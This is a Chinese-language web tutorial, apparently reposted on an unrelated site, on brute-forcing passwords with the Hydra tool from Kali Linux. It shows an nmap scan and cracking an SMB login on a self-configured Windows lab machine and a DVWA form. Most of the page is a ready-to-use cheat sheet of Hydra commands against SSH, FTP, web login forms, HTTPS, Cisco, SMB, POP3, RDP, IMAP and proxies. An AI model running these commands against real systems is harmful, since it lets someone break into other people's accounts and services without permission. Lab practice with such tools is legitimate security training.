黑客破解工具Hydra在线爆破密码 |
您所在的位置:网站首页 › 在线爆破密码 › 黑客破解工具Hydra在线爆破密码 |
Linux:https://github.com/vanhauser-thc/thc-hydra 更多版本工具获取 黑协十五周年纪念优盘里头有。https://shop260083730.taobao.com 首先,我们来看看hydra的帮助文档。终端输入命令: hydra -h 我们可以看到他支持的破解服务非常多。例如:rdp,ftp,Cisco等。 现在,我以我物理机win10进行破解演示。我先win10上设置一个用户名为 admin 登录密码也为 admin 的用户。 现在回到Kali上。我用 nmap 对这台服务器上开放的端口进行扫描。输入命令: nmap -p 1-1000 192.168.1.100 通过 nmap 的扫描,我们可以看到开放了很多危险端口。 现在,让我们尝试进行 smb 服务的破解。输入命令: hydra -l admin -P pass.txt smb://192.168.1.100 -l: 用户名。 -P: 密码字典。 -t: 代表线程数。过大的线程,极易导致hydra的奔溃。 -vV: 显示详细过程 可以看到很快我们就获得了密码:admin admin 。 我们可以看到密码为12345678 。 hydra不仅支持命令操作,它还支持图形化界面。输入命令: xhydra 就可以打开它的图形界面了。操作和命令是一样的。 最后为大家介绍下表单的破解。我们以 DVWA为例。DVWA是以 post 方式进行提交的。我们输入以下命令:hydra -l admin -P pass.txt 192.168.30.128 http-post-form“/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php” -t 1 -vV http-post-form :表单提交方式。 “/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php” 这一串代表的是post 提交时的数据。 S 表示成功登录时的特征。很快密码也被破解了出来。 密码: password 。 可以看出,用hydra破解表单密码是非常复杂的。因此,建议破此类密码可以用其它工具。 1、破解ssh: hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 2、破解ftp: hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 3、get方式提交,破解web登录: hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php 4、post方式提交,破解web登录: hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。) 5、破解https: hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 6、破解teamspeak: hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 7、破解cisco: hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 8、破解smb: hydra -l administrator -P pass.txt 10.36.16.18 smb 9、破解pop3: hydra -l muts -P pass.txt my.pop3.mail pop3 10、破解rdp: hydra ip rdp -l administrator -P pass.txt -V 11、破解http-proxy: hydra -l admin -P pass.txt http-proxy://10.36.16.18 12、破解imap: hydra -L user.txt -p secret 10.36.16.18 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN 合天公众号开启原创投稿啦!!! 大家有好的技术原创文章。
|
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |